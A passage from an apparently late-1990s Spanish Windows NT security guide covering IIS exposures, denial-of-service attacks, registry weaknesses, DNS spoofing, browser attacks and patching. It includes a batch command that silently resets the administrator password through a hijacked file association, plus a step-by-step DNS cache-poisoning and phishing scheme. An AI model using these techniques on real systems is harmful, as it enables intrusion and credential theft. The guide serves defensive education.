en cuenta.
Existe un ejemplo de
Active Server Pages que viene con el IIS. Se encuentra
en
http://www.host.com/adworks/default.htm. Se cauto.. el directorio www
tiene permisos de
lectura y ejecucion, por lo que es conveniente eliminarlo
del servidor.
La pagina de
administracion para el Index Server situada en :
http://www.host.com/srchadm/admin.htm
permite forzar
escaneos, mezclas... cualquier cosa; es mas, nos da una vista
total de todos los
directorios virtuyales, pudiendo buscar ficheros con
extension .pwd (es
decir, los passwords encriptados de los controladores de
Front Page (como hace
Ogre [15]), que aunque parezca mentira, son los mismos
que usan muchas
personas como passwords para sus cuentas personales, de
correo, de acceso a
Internet... Por lo tanto, ADMINISTRADORES, proteged con
passwords estas
paginas.
6.4. Conclusion a los
ataques IIS
Para mantener a salvo
un sitio Web, se debe cambiar la configuracion por
defecto de la
instalacion... y pasar una checklist para asegurarse al menos
de que no se ha dejado
ningun agujero conocido sin tapar.
7. Ataques tipo D.o.S.
(Denial of Service, Denegacion de Servicio)
Los ataques tipo D.o.S. consisten simplemente en dejar
fuera de servicio
cualquier servicio
ofrecido por un servidor o estacion de trabajo, ocasionando
a veces como efecto
lateral, el cuelgue de la maquina, normalmente con un
volcado de memoria
(donde entra en juego la aplicacion Dr. Watson del sistema)
y/o una pantalla azul
(BSOD Blue Screen of Death) comunmente conocida como
'la pantalla de los
pitufos'. Este es un tema controvertido, dado que algunas
personas piensan que
un ataque D.o.S. no es una tecnica de hacking, o lo
tratan como algo sin
importancia. Sin embargo, es un tema a tener muy en
cuenta en Windows NT
pues, la gran mayoria de los ataques son de tipo D.o.S.
Existen algunas razones
por las cuales, este tipo de ataques pueden ser
utiles a un hacker:
@ El hacker ha instalado un troyano, pero
necesita que la victima reinicie
la maquina para que
surta efecto.
@ El hacker necesita cubrir inmediatamente sus
acciones o un uso abusivo de
CPU. Para ello provoca
un 'crash' del sistema, generando asi la sensacion de
que ha sido algo
pasajero y raro. Desgraciadamente, aun no sorprende en la
familia Windows un
cuelgue del sistema.
@ El hacker no es tal, sino un personaje sin
experiencia que apenas sabe lo
que hace.
@ El hacker cree que actua bien al dejar fuera
de servicio algun sitio Web
que le disgusta.
@ El administrador del sistema quiere
comprobar que sus instalaciones no son
vulnerables a este
tipo de ataques.
@ El administrador del sistema tiene un
proceso que no puede matar en su
servidor y, debido a
este, no puede acceder al sistema. Para ello, lanza
contra si mismo un
ataque D.o.S. parando asi el servicio y pudiendo entrar a
reconfigurar.
7.1. Ataque OOB
Este tipo de ataque es
bastante simple, a la vez que accesible, dado el gran
numero de programas
que explotan esta debilidad en la implementacion TCP/IP de
Microsoft.
Basicamente, consiste en enviar un mensaje out-of-band a ciertos
puertos de un sistema
NT y este se colgara. Tipicamente se usa el puerto 139.
Este tipo de ataque,
tambien conocido como WinNuke se evita instalando el
Service Pack 3 y el
Hot Fix adecuado, pero han surgido varias variantes que
aun son capaces de
colgar un sistema NT. El codigo fuente de esta aplicacion
esta muy difundido y
cualquier busqueda en la Red con la palabra "winnuke"
dara la direccion de
muchas paginas que lo contienen.
7.2. Ataques Teardrop
I, II, Newtear, Bonk, Boink.
Este tipo de ataques
consisten en mandar un par de fragmentos IP manipulados
maliciosamente, que al
ser reensamblados en la maquina victima como un
datagrama UDP
invalido, provocan que esta pase a un estado inestable. En este
estado, un sistema NT
puede colgarse o reiniciarse. Generalmente aparece la
pantalla BSOD.
Este tipo de ataques
es especialmente peligroso dado que existen multitud de
implementaciones
conocidas con el nombre de NewTear, Bonk y Boink que explotan
esta debilidad.
Ademas, a comienzos de Marzo del 98, salio a la luz un paquete
que integraba todas
ellas y las lanzaba de forma automatica contra un gran
numero de hosts que el
usuario podia especificar.
La solucion para
protegerse de este tipo de ataques en Windows 95 y NT es
instalar el parche
apropiado que Microsoft suministra. Este parche, al igual
que mas informacion
sobre esta vulnerabilidad, pueden encontrarse en el
'Microsoft Market
Bulletin' titulado "New Teardrop-like TCP/IP Denial of
Service Program"
en la siguiente direccion:
http://www.microsoft.com/security/newtear2.htm
7.3. Land Attack.
Este ataque,
desarrollado por "m3lt" <meltman@LAGGED.NET>, consiste en un
nuevo bug en la
implementacion de la pila TCP/IP de las plataformas Windows.
El ataque consiste en
mandar a algun puerto abierto de un servidor
(generalmente al 113 o
al 139), un paquete maliciosamente construido, con el
bit SYN a 1, y con la
direccion y puerto origen IGUAL que la direccion y
puerto destino (ejm.:
10.0.0.1:139 a 10.0.0.1:139). Resultado: la maquina
comenzara a mandarse
mensajes a si misma y acabara por colgarse.
El mensaje fue mandado
a la lista BugTraq con el codigo fuente incluido (cosa
normal en esta lista,
por otro lado).
7.4. Ataque Smurf.
Este ataque es
bastante simple y a su vez devastador. Consiste en recolectar
una serie de direcciones
de broadcast para a continuacion mandar una peticion
de echo ICMP a cada
una de ellas en serie, varias veces, falsificando la
direccion IP de
origen. Este paquete maliciosamente manipulado, sera repetido
en broadcast, y
cientos o miles de hosts (segun la lista de direcciones de
broadcast disponible)
mandaran una respuesta de echo a la victima cuya
direccion IP figura en
el paquete ICMP. Los resultados son devastadores,
pudiendo saturar
facilmente un circuito T1. El programa se distribuye en
fuente en r00tshell,
junto con gran parte de los programas citados en este
documento.
8. El vulnerable
Registro de Windows NT.
8.1. ¨Que es el
registro?
El Registro es el
corazon de Windows NT. Cada NT Workstation o NT Server tiene
su propio Registro y
cada uno contiene informacion sobre el hard y el soft
instalado en el
ordenador. Por ejemplo las caracteristicas de la tarjeta de
Red Ethernet, las
propiedades del escritorio, los perfiles de los usuarios, el
fichero de passwords,
cadenas que indican la fecha de caducidad en los
programas shareware,
propiedades y caracteristicas internas del sistema
operativo... etc.
Se sabe, por ejemplo,
que en lo unico que se diferencias Windows NT WS y NT
Server es unas diez
claves del registro, pudiendo pasar de uno a otro
modificando dichas
claves, infringiendo por otro lado el acuerdo de compra con
Microsoft al hacerlo.
Tambien se guarda en el Registro todo lo que un usuario
puedeo o no puede
hacer. El Registro de NT se puede ver como una evolucion de
los ficheros INI de
Windows 3.1. hasta llegar a lo que es: una gran base de
datos con abundante
informacion delicada.
Es interesante desde
el punto de vista de la seguridad el hecho de que todo el
control de acceso y
parametros relacionados esten localizados en el Registro.
Haremos una peque¤a
introduccion general al mismo, enfocando el tema a los
aspectos de seguridad.
El Registro contiene
cientos de piezas de datos, agrupados en lo que se conoce
como claves. Estas
claves estan agrupadas en subarboles, donde se almacenan las
claves similares de
forma conjunta a la vez que copias de algunas de ellas en
subarboles separados
para un mejor acceso.
El Registro se puede
dividir en cuatro subarboles: HKEY_CLASSES_ROOT,
HKEY_CURRENT_USER,
HKEY_LOCAL_MACHINE y HKEY_USERS. Los explicaremos en orden
decreciente de
importancia desde el punto de vista de la seguridad.
El primer subarbol es
el HKEY_LOCAL_MACHINE. Contien 5 claves diferentes:
SAM y SECURITY - Estas claves contienen
informacion como los derechos de
usuarios, informacion
de dominio para usuarios y grupos, y passwords. Este es un
punto de ataque
evidente para los hackers.
Las claves estan
almacenadas como datos binarios por razones de seguridad y
generalmente no son
accesibles a menos que seas el Administrador o formes
parte del grupo de
Administradores.
HARDWARE - esta es la
base de datos donde se guardan datos sobre los
componentes hardware
del ordenador. Los drivers y las aplicaciones construyen
esta BD cuando arranca
el ordenador y la actualizan en tiempo de ejecucion.
Cuando se reinicia el
ordenador, los datos se vuelven a construir desde cero. No
es recomendable editar
este trozo del Registro.
SYSTEM - Esta clave contiene aspectos
basicos como pueden ser que es lo
que se carga al arrancar
el sistema, que drivers han sido cargados, que
servicios se estan
usando, etc. Todos ellos se agrupan en
subclaves ControlSet.
Cuando el ordenador no
puede arrancar correctamente, lee los ControlSet que
necesite, almacenados
en el Registro y arranca desde la "Ultima configuracion
correcta".
SOFTWARE - Esta clave guarda informacion
sobre el software cargado
localmente. Las
asociaciones entre extensiones de ficheros y sus programas
visores, informacion
OLE y otras configuraciones variadas son lo que almacena
esta clave.
La segunda clave mas
importante es HKEY_USERS. Contiene una subclave por cada
usuario que accede al
sistema, bien sea de forma local o remota. Si el
servidor forma parte
de un dominio y se conecta a traves de la red, su
subclave no se guarda
aqui sino en el Controlador de Dominio. Lo que si se
guarda aqui son las
propiedades del Escritorio y los perfiles de usuario.
Las 2 claves restantes
son HKEY_CURRENT_USER y HKEY_CLASSES_ROOT, que
contienen copias de
porciones de las claves HKEY_USERS y HKEY_LOCAL_MACHINE
respectivamente.
HKEY_CURRENT_USER contiene exactamente lo que su propio
nombre indica: una
copia de la subclave HKEY_USERS del usuario actualmente
conectado.
HKEY_CLASSES_ROOT
contiene una parte de HKEY_LOCAL_MACHINE, concretamente
informacion de la
subclave SOFTWARE. Asociaciones de ficheros con sus
programas,
configuraciones OLE e informacion de dependencias.
8.2. ¨Que son los
'hives'?
Los hives son otro
tipo de subdivisiones del Registro. Contienen informacion
relacionada. Esto no
lo digo yo, lo dice Microsoft.
Todos los hives estan
almacenados en D:\WINNT\SYSTEM32\CONFIG. Los hives mas
destacados y sus
ficheros son:
Hive Fichero Fichero Backup
--------------------------- --------
--------------
HKEY_LOCAL_MACHINE\SOFTWARE SOFTWARE
SOFTWARE.LOG
HKEY_LOCAL_MACHINE\SECURITY SECURITY
SECURITY.LOG
HKEY_LOCAL_MACHINE\SYSTEM SYSTEM
SYSTEM.LOG
HKEY_LOCAL_MACHINE\SAM SAM SAM.LOG
HKEY_CURRENT_USER USERxxx USERxxx.LOG
ADMINxxx ADMINxxx.LOG
HKEY_USERS\.DEFAULT DEFAULT DEFAULT.LOG
La informacion de los
passwords se encuentra en el fichero SAM. Como
alternativa los
hackers suelen buscar el fichero SAM.LOG. No suelen estar
disponibles.
8.3. Los fallos del
registro.
Cualquier hacker puede
hacerse due¤o de un sistema NT con solo una subclave
del registro mal
configurada. Aunque se pretende tener todo bien organizado,
la gestion del
Registro de NT puede ser una tarea de titanes. Existen
numerosos fallos de
seguridad relacionados con el Registro y realizar una
auditoria de ciertas
claves del mismo nunca vendra mal. Mientras tanto,
mantente alerta a
alguno de los siguientes puntos relacionados con la
seguridad y el Registro
de Windows NT.
8.4. Acceso remoto al
registro.
Es posible que el
sistema NT se haya instalado con permisos de escritura a
Todos en demasiadas
partes del Registro. Para averiguar que claves estan
pobremente protegidas
podemos usar la herramienta DumpAcl de Somarsoft.
Aunque esto era un
problema en NT 3.51 (la mala configuracion de los permisos)
debido a la
posibilidad de acceso remoto al registro que nos brinda la
utilidad regedt32.exe,
en especial si encima esta habilitada la cuenta de
usuario invitado. NT
4.0 resolvio este problema introduciendo la siguiente
clave del registro:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg
Esta clave se presenta
por defecto en NT 4.0 server, pero no en las NT 4.0
Workstations, por lo que
habra que a¤adirla. La presencia de esta clave
deshabilita el acceso
remoto al registro excepto a los administradores.
Para ver lo que podria
pasar si nos olvidamos de proteger correctamente el
registro, valgan dos
sencillos ejemplos.
\ Un usuario remoto
con perversas intenciones y un registro mal configurado
nos podria llevar a
ataques tipo D.o.S. periodicos por parte del intruso,
dificiles de localizar
por el administrador, provocando continuas
reinstalaciones del
sistema, como consecuencia de la imposibilidad por parte
del administrador de
encontrar el origen de los ataques.
\ Crear troyanos y
modificar apuntadores del registro a los programas
originales para que
apunten a los troyanos, los cuales podrian intentar crear
cuentas de
administrador (si es el administrador el que ejecuta el troyano ,
sin saberlo , este
ataque seria posible).
\ Bajo NT 3.51 se
puede explotar la posibilidad de escribir en cierta clave
del registro,
concretamente en aquella que asocia extensiones de ficheros con
sus respectivas
aplicaciones. Es posible que pueda cambiarse ademas por un
usuario remoto con
acceso al registro via regedt32.exe. La entrada .txt de
dicha clave podria
cambiarse de la siguiente manera para que ejecute
bogus.cmd:
\\cierta_WS_de_NT_o_Unix\Disco_compartido_sin_clave\bogus.cmd
donde bogus.cmd
contiene:
net user administrador
xxxxx /y
notepad %1 %2 %3 %4 %5
si el administrador
cuando se conecte, pincha dos veces en un archivo con
extension .txt, su
password cambiara a xxxxx. Aunque este es un ejemplo un
poco burdo dado que el
administrador deberia darse cuenta de que aparece una
pantalla de linea de
comandos antes de abrirse el Notepad.exe. De todas
formas es trivial
realizar una aplicacion para Win32 de tal manera que los
efectos sean mas
destructivos. Asi que ojo con los permisos del Registro de
NT.
Los administradores
deberian saber por otro lado, que modificar el Registro de
forma incorrecta
podria llevar a la imposibilidad de volver a arrancar el
ordenador (recuerda,
el Registro es el corazon de NT), por lo que recomiendo
realizar un disco de
recuperacion de emergencia con RDISK.EXE /antes de
realizar ningun cambio
al registro.Tambien podrias usar la herramienta
ConfigSafe para
"tomar fotos" del estado del Registro antes de realizar
ningun cambio. Esta
herramienta tambien es util cuando se quiere recuperar el
estado del Registro
anterior a la instalacion del algun programa que lo
modifico.
9. Spoofing (un ataque
comun a otros sistemas).
9.1. Introduccion. IP
Spoofing & DNS Spoofing.
[Traduccion, arreglos
y explicaciones basadas en el capitulo 11.1.3. de The
Modern Hacker Desktop
Reference, del grupo Rhino9 [15 ], basado a su vez en
un capitulo de
"Windows NT Hacking FAQ" [25] ]
Spoofing viene a
traducirse como "hacerse pasar por otro". Es un ataque
contra la
autentificacion. Este tipo de ataques suele implicar un buen
conocimiento del
protocolo en el que se va a basar el ataque. Dos ataques
tipo spoofing bastante conocidos son el IP
Spoofing y el DNS Spoofing. El
primero de ellos se
hizo famoso al usarlo Kevin Mitnick en su ataque en
Diciembre de 1995 a la
red informatica de Tsutomu Shimomura, un especialista
en seguridad que
trabajaba en el Centro de Supercomputacion de San Diego.
En principio parece
que Windows NT no es sensible a este ataque en concreto,
pero si lo es al
ataque DNS Spoofing.
9.2. El ataque DNS
Spoofing.
Mediante la
manipulacion de paquetes UDP, se puede comprometer la cache del
servidor de nombres
(DNS) de NT. Si se permite el metodo de recursion en la
resolucion de
"nombre < - - > direccion IP" en el DNS, es posible controlar
algunos aspectos del
DNS remoto. La recursion consiste en la capacidad de un
servidor de nombres
para resolver una peticion de direccion IP a partir de un
nombre que no figura
en su base de datos. Este es el metodo tipico de
funcionamiento.
Pero, pongamos un
ejemplo para conocer como es posible lanzar este tipo de
ataque:
Supongamos que somos
el root de ns.nmrc.org, IP 10.10.10.1. tambien tenemos
el servidor
pirate.nmrc.org con la direccion 10.10.10.2. y el servidor
bait.nmrc.org con la
direccion 10.10.10.3. Supongamos que lo que queremos
conseguir es que los
usuarios de lame.com accedan a nuestro servidor
pirate.nmrc.org cuando
intenten acceder a www.lamer.net.
Bien, supondremos que
tenemos una herramienta que implementa los siguientes
pasos:
- mandamos una
peticion a ns.lame.com preguntando por la direccion de
bait.nmrc.org.
- ns.lame.com no
encuentra la direccion en su base de datos y pregunta a
ns.nmrc.org por
bait.nmrc.org.
- la peticion es ahora
interceptada en ns.nmrc.org y extraemos el ID del
paquete de peticion .
- mandamos una
peticion a ns.lame.com preguntando por la direccion de
www.lamer.net.
- dado que conocemos
el numero de ID de la peticion anterior, hay muchas
probabilidades de que
el ID de la nueva peticion sea si no el siguiente, un
numero muy cercano.
- ahora es cuando
viene realmente el ataque: construimos unos cuantos paquetes
DNS de respuesta con
diferentes numeros de identificacion ID. Estos paquetes
de respuesta estan manipulados
en el campo origen, haciendose pasar por
ns.lamer.net y
afirmando que la direccion que corresponde al ID de esa
peticion es
10.10.10.2. ( en otras palabras, acabamos de mandar un paquete de
respuesta a la
pregunta "¨cual es la direccion IP de www.lamer.net?" que
ns.lame.com mando a
otro DNS (seguramente ns.lamer.net), haciendonos pasar
por este ultimo y
afirmando que la respuesta es 10.10.10.2.) Si nuestros
calculos de ID han
sido correctos, la cache del DNS de ns.lame.com tendra
ahora una entrada mas
o menos asi:
www.lamer.net --------> 10.10.10.2
lo que realmente
corresponde a la direccion IP de pirate.nmrc.org.
Lo que resta por hacer
ahora es sencillo: copiar el aspecto de www.lamer.net
(paginas html,
graficos, applets Java, musiquilla de fondo,...) en
pirate.nmrc.org para
lo que nos podemos valer de excelentes programas de
"copiado"
web como Teleport Pro y poner un nuevo apuntador a una pagina que
diga "Novedad!!!.
Tenemos una nueva pagina de cambio de password gratuita,
por si quieres cambiar
el password de tu cuenta ftp de www.lamer.net.". Si
no se quiere o no se
puede traer una copia del servidor, se pueden traer solo
las paginas que
solicite el usuario, a medida que este vaya pinchando en los
enlaces.
Aunque se haya
repetido cientos de veces para que esto no ocurra, aun hoy es
muy posible que la
cuenta de password en www.lamer.net que tenga el usuario
victima, sea la misma
que use para otras cosas....
Es posible usar este
tipo de ataque para otros fines, como informar a la
victima que www.lamer.net
ha dejado de funcionar, redirigir su correo una vez
analizado, etc...
10. Otros ataques via
Web.
Aunque no son
especificos de Windows NT, los problemas de seguridad que
implican los
navegadores Web y sus tecnologias asociadas (ActiveX, JavaScript,
...) son un serio
problema para cualquier administrador de sistemas NT. Por
lo tanto, comentaremos
aqui los aspectos mas importantes relacionados con la
seguridad.
10.1. Ataques por
JavaScript, VBScript
JavaScript (Netscape) y VBScript (Microsoft) son dos
lenguajes de script
usados por los
programadores Web para realizar sofisticadas paginas Web con
un lenguaje menos
"complicado"que Java. Los programas realizados con estos
dos lenguajes son
interpretados en el navegador. Como siempre, Internet
Explorer y Netscape
Navigator presentan incompatibilidades. Netscape no acepta
VBScript y Explorer no
acepta la ultima version de JavaScript. Las ultimas
versiones de ambos
lenguajes son potentisimas herramientas de programacion
web y, por lo tanto,
llevan asociados fallos de seguridad inherentes, aunque
estos fallos son mucho
mas numerosos en versiones antiguas de JavaScript,
donde podemos
encontrarnos con fallos como los siguientes:
(extraido y modificado
de "Penguin Cafe"
www.geocities.com/SiliconValley/Peaks/6371/oculto.html
)
# Cuando aparecio
JavaScript, este permitia el envio de mensajes de correo
electronico sin el
reconocimiento del usuario, la lectura de la historia URL,
la lectura de
directorios y de ficheros. Lo que fue razon mas que suficiente
para que cientos de
intrusos informaticos se aprovecharan de estas
debilidades.
# El problema mas
importante aparecio en Netscape 2.0 y fue conocido como
"stuck on
load". Lo que sucedia es que se podia crear una ventana de 1x1
pixeles, por la cual
los intrusos podian seguir extrayendo informacion sin
que el usuario se
enterase y aun cuando este hubiese salido de la pagina, ya
que esta ventana (era
un simple punto) era imperceptible para el usuario.
Evolucion cronologica
de la correccion de errores:
Problema a solucionar.
Version en la que se
soluciona.
Lectura de directorios
y ficheros
2.01
Lectura de historico
URL
2.02
Correo electronico sin
reconocimiento de usuario
2.01
"stuck on
load"
3.0
Para mas informacion,
consultar la direccion especializada en los fallos de
seguridad en
JavaScript de LoVerso[31]
10.2. Ataques por
vulnerabilidades en los navegadores.
Generalmente los
navegadores no fallan por fallos intrinsecos, sino que fallan
las tecnologias que
implementan, aunque en este punto analizaremos realmente
fallos intrinsecos de
los navegadores, como pueden ser los "Buffer Overflow".
Para una detallada
informacion de este tipo de vulnerabilidades referirse a
[34] pero indicaremos aqui a groso modo el fallo
de seguridad mas importante
y frecuente, especialmente
en Internet Explorer debido a su alto grado de
funcionalidad en los
protocolos soportados mediante direccionamiento URL:
Los "buffer
overflows" consisten en explotar una debilidad relacionada con los
buffers que la
aplicacion usa para almacenar las entradas de usuario. Por
ejemplo, cuando el
usuario escribe una direccion en formato URL como puede
ser
http://www.cert.org esta se guarda en un buffer para luego procesarla. Si
no se realizan las
oportunas operaciones de comprobacion, un usuario con
perversas intenciones,
podria intentar mandar una direccion de este estilo:
http://www.aaaaaaaaaaaaaaaa.com
donde el numero de a's supera los 200
caracteres y en lugar
de a's se pueden introducir combinaciones de letras,
etc. Ademas, el
protocolo usado ha sido http, osea el
protocolo www, pero
IE permite usar otro
tipo de protocolos internos menos conocidos como res: o
mk: . Precisamente
existen dos fallos de seguridad del tipo "buffer overflow"
en la implementacion
de estos dos protocolos.
El primero de ellos,
el bug de res:// no afecta a NT, "solo" a Windows 95,
sin embargo, es
posible usarl el bug del mk: para
ejecutar cualquier
programa en Windows NT
a partir de un link en una pagina Web! Concretamente,
este fallo se
materializa al manipular una direccion URL usando el protocolo
mk:, protocolo usado
por el "InfoViewer Topic" de Microsoft, por ejemplo en
Visual Studio y el
sistema de ayuda del IE4.0(1). Como
prueba de la utilidad
de mk: , podemos
probar la URL del sistema de ayuda de Microsoft IE4.0:
mk:@MSITStore:C:\WINDOWS\Help\iexplore.chm::/iexplore_welcome.htm
Para poder lanzar este
tipo de ataques hay que tener un buen conocimiento de
ensamblador y de la
estructura interna de la memoria en NT. Si se quiere
profundizar mas en
estos dos ataques podemos consultar la excelente base de
datos de L0pht [17] o
de Security BugWare [12] y si lo que se busca es
entender a la
perfeccion este tipo de ataques, es aconsejable leerse el
TAO of Windows Buffer
Overflow [34].
Tambien podemos citar
en este documento el fallo de seguridad descubierto por
Cybersnot Industries
http://www.cybersnot.com/iebug.html, relativo a los
ficheros .lnk y .url
de Windows 95 y NT respectivamente. Las versiones de
Microsoft Internet
Explorer v3.01 y anteriores podian ser utilizadas para
ejecutar la aplicacion
que nosotros quisieramos siempre que existiera en el
ordenador de la
victima (trivial, pues algunas aplicaciones vienen por defecto,
como el format.com).
Bien, ahora una
peque¤a explicacion tecnica. Windows 95 guarda los accesos
directos a
aplicaciones como ficheros con extension .LNK; cuando pinchamos en
algun fichero de este
estilo, Win95 ejecuta el programa que
dicho LNK
describa. Los ficheros
URL son algo parecido, excepto que el fichero URL
tiene una semantica y
una sintaxis ligeramente diferentes de los del LNK, y
en que los URL se
pasan al Internet Explorer para su ejecucion en lugar de
ejecutarse por
Windows95 directamente. Evidentemente se puede indicar que la
aplicacion que
queremos ejecutar sea file://format.com o cualquier otra
aplicacion local.
El problema surge
cuando IE trata los LNK y los URL bajados de la red como si
fueran locales; asi,
es posible poner un link a un fichero LNK o URL en
nuestras paginas web
de tal manera que apunten a un programa que sabemos que
existe en el ordenador
de la victima que se conecte. Cuando lo haga y pinche
sobre el, la
aplicacion se ejecutara sin mas (como ya he dicho esto solo
funciona en versiones
del IE3.01 y anteriores y solo en aquellos que no hayan
instalado los parches
de Microsoft.
Para mas informacion
relacionada con los ataques intrinsecos a los
navegadores, aparte de
consultar los punteros indicados , se aconsejan las
paginas no oficiales
de seguridad tanto en Internet Explorer[29] como en
Netscape
Communicator[32].
10.3. Ataques por
Java.
Java es un lenguaje de
programacion interpretado desarrollado inicialmente
por SUN. Su popularidad es tal que no merece
mayor descripcion en este
documento. Lo que si
comentaremos por encima es su alto grado de seguridad.
Los mas usados
navegadores actuales, Netscape e IE, implementan Maquinas
Virtuales Java
(MVJ)para ser capaces de ejecutar applets Java descargados de
Internet. Estos
applets, al fin y al cabo no son mas que codigo ejecutable y
como tal, susceptible
de ser manipulado por intrusos con aviesas intenciones.
Sin embargo, partiendo
del dise¤o, Java siempre ha pensado en la seguridad
del sistema. Las
restricciones a las que somete a los applets son de tal
envergadura
(imposibilidad de trabajar con ficheros a no ser que se
especifique lo
contrario por parte del usuario, imposibilidad de los applets
de acceder a zonas de
memoria directamente, firma digital,...) que es
practicamente
imposible lanzar ataques distintos de los ataques de tipo D.o.S.
(Denial Of Service) contra plataformas JAVA. Sin
embargo, existe un grupo de
expertos liderados por
dos profesores de la Universidad de Princeton,
especializados en
descubir fallas de seguridad en las implementaciones que de
la MVJ hacen los
distintos navegadores (Netscape, IE, HotJava (navegador de
SUN)). Su direccion es
accesible desde [41]. En un numero reciente de la
revista Developer.com
http://www.developer.com/news/stories/042498_hostile.html,
el Dr. Mark D. LaDue,
explicaba los ultimos fallos de seguridad encontrados
(todos ellos
relacionados con ataques tipo D.o.S.) en la implementacion de la
MVJ en Netscape
Communicator 4.04 y 4.05:
Las potenciales
amenazas iban desde un applet que volcaba continuamente bytes
en el sistema de
ficheros hasta bloquear la maquina al dejarla sin recursos
de disco, hasta un
applet que creaba subclases de la clase Applet ClassLoader,
algo supuestamente
prohibido por las especificaciones Java y que permite a
los applets establecer
conexiones con cualquier servidor y descargar applets
maliciosos desde el
para luego ejecutarlos.
LaDue consiguio crear
estos applets estudiando varios descompiladores de Java.
Para probar las
habilidades de los mismos, intento descompilar las 1669
ficheros de clases de
Netscape Communicator 4.04. Al hacerlo, no pudo resistir
la tentacion de
estudiar el codigo resultante en busca de posibles agujeros
de seguridad para
construir applets hostiles.
Todos estos applets
hostiles y muchos mas, al igual que abundante y buena
informacion sobre la
seguridad en Java, se pueden encontrar en HAHP [30].
10.4. Ataques por
ActiveX.
ActiveX es una de las
tecnologias mas potentes que ha desarrollado Microsoft.
Mediante ActiveX es
posible reutilizar codigo, descargar codigo totalmente
funcional de un sitio
remoto... Esta tecnologia ha sido considerada la
respuesta de Microsoft
a Java (aunque ahora compita en el mercado con ambas).
Una pagina Web con un
control ActiveX puede ser ejecutada en principio solo
en Internet Explorer,
y digo en principio porque existe un Plug-In para
Netscape que permite
ejecutar controles ActiveX en los navegadores de dicha
compa¤ia.
ActiveX soluciona los
problemas de seguridad mediante certificados y firmas
digitales. Una
Autoridad Certificadora (AC) expende un certificado que
acompa¤ara a nuestros
controles activos y a nuestra firma digital. Cuando un
usuario descarga una
pagina con ese control, se le preguntara si confia en
la AC que expendio
nuestro certificado y/o en nuestro control ActiveX. Si el
usuario acepta el
control, este puede pasar a ejecutarse sin ningun tipo de
restricciones (solo
las propias que tenga el usuario en el sistema NT). Es
decir, la
responsabilidad de la seguridad del sistema se deja en manos del
usuario, tanto si este
es un experto cibernauta consciente de los riesgos
que puede acarrear la
accion como si es el usuario es un perfecto novato en
la materia.
La pega de esta
filosofia es que las Autoridades de Certificacion se fian de
la palabra del
programador del control activo. Es decir, el programador se
compromete a firmar un
documento que asegura que el control no es nocivo.
Evidentemente siempre
hay hackers expertos en programacion con pocos
escrupulos o con ganas
de experimentar, Un conocido grupo de hackers alemanes,
Computer Chaos Club
(CCC) [36], podria ser un ejemplo. CCC desarrollo un
control ActiveX
maligno que modificaba el programa de gestion bancaria
personal Quicken95 de
tal manera que si un usuario aceptaba el control
(control que realizaba
una tarea util aparte de crackear el Quicken, es decir,
era un troyano) este
realizaba la tarea que supuestamente tenia que hacer y
ademas modifica el
Quicken, para que la proxima vez que la victima se
conectara a su banco,
se iniciara automaticamente una transferencia de su
cuenta a la cuenta de
CCC. Como nota curiosa destacar que CCC cito a la
television germana
dias antes del ataque, para que lo filmara en directo.
Otro control ActiveX
especialmente pernicioso consistia en otro troyano, cuya
mision oculta era
especialmente malevola: manipular el codigo de Internet
Explorer para que este
nunca mas pidiera confirmacion al usuario a la hora
de descargar un
control activo de la Web. Es decir, dejaba totalmente
descubierto a ataques
con tecnologia ActiveX el sistema de la victima.
11. Medidas de
seguridad Service Pack & HotFix.
11.1. Como parchear el
sistema. Service Pack & Hot-Fix.
Microsoft tiene una
base de datos consultable via web, con parches y arreglos
tanto para el sistema
operativo Windows NT como para sus aplicaciones. En la
jerga de Microsoft, un
conjunto de parches o arreglos se denomina Service Pack
(SP). El Service Pack actual para Windows NT 4.0.
es el 3, pero Microsoft
planea sacar el 4 para
este verano (es de suponer que junto la liberacion de
Windows 98). Tambien existen Service Packs (en adelante
SP) para aplicaciones
como el servidor IIS.
Los SP son
acumulativos. Esto significa que el SP3 contiene todo lo que tenia
el SP2 ademas de los
parches nuevos introducidos en el SP3. A menudo, los SP
reemplazan gran
cantidad de codigo, sobre todo las DLL's mas importantes
del sistema o
aplicacion.. Dado que la mayoria de las grandes aplicaciones
(como los componentes
'backoffice' o los de 'developer studio')
traen sus
propias versiones de
bibliotecas DLL "del sistema", los SP deben aplicarse
cada vez que se
realice una actualizacion de dicho sistema, donde estos
terminos en cursiva no
estan definidos claramente. A cualquier accion que
reemplace cualquier
componente actualizado por un SP o un hot-fix debe
seguirle una nueva
instalacion del ultimo SP y todos los hot-fixes. Recuerda
ademas que, al a¤adir
hardware nuevo, a menudo se a¤ade tambien nuevo
software de control,
lo que puede llevarnos a reinstalar el SP y/o hotfix
adecuado.
Los Hot-Fix, como ya
habras adivinado, son parches intermedios desarrollados
entre dos Service Pack,
y estan considerados como "not fully regression
tested", es
decir, que Microsoft no ha comprobado todos los posibles efectos
laterales,
incompatibilidades, etc. Que pudieran producirse con su instalacion
ypor lo tanto, la
empresa de Redmond, no recomienda su instalacion a no ser
que uno la crea
totalmente necesaria. Mi consejo es que todo Hot-Fix que
afecte a la seguridad
del sistema NT, que es nuestra materia de estudio,
deberia ser instalado
automaticamente, sin dudarlo. De hecho, en NTSecurity
[10], la principal
lista de distribucion de seguridad en NT, se discutio
durante un tiempo el
que Microsoft advirtiera indiscriminadamente de que no
se instalara un
hot-fix a no ser que se estuviera totalmente seguro de lo que
se hacia, pues esto
echaba para atras a muchos administradores inexpertos,
exponiendolos a
ataques masivos. Microsoft reconocio su error y se
comprometio a
enmendarlo.
Una nueva cuestion es
la lengua local. Si estas ejecutando una version de NT
que no sea de los
EEUU, no podras aplicar todos los hot-fix disponibles.
Algunos no dependen
del lenguaje, mientras que otros se niegan a instalarse
en una version
extranjera (no de EEUU). Si te lo puedes permitir o te es
posible, te aconsejo
que trabajes con una version de NT de
los EEUU al menos
en alguno de tus
servidores. Si lo haces de esta manera, podras instalar el
hot-fix relacionado
con un problema de seguridad inmediatamente, en cuanto
salga, sin tener que
esperar al siguiente SP (los Service Pack se lanzan en
"todos" los
idiomas, aunque tendras que esperar ademas a que se traduzca el
correspondiente SP a
tu idioma). Dentro de lo que cabe, los espa¤oles tenemos
suerte en este
aspecto, pues normalmente salen casi al unisono los hot-fix en
version estadounidense
como en version castellana.
Si no puedes o no
quieres descargar el software de Internet, puedes contactar
con tu representante
Microsoft mas cercano y pedirle el ultimo Service Pack
que necesites.
Habitualmente tambien se distribuye en los CD's de las mejores
revistas del sector
informatico.
Visita el Web de
Microsoft o su servidor FTP en:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes
Personalmente,
recomiendo visitar el excelente site de Russ Cooper [9], donde
literalmente, cada dos
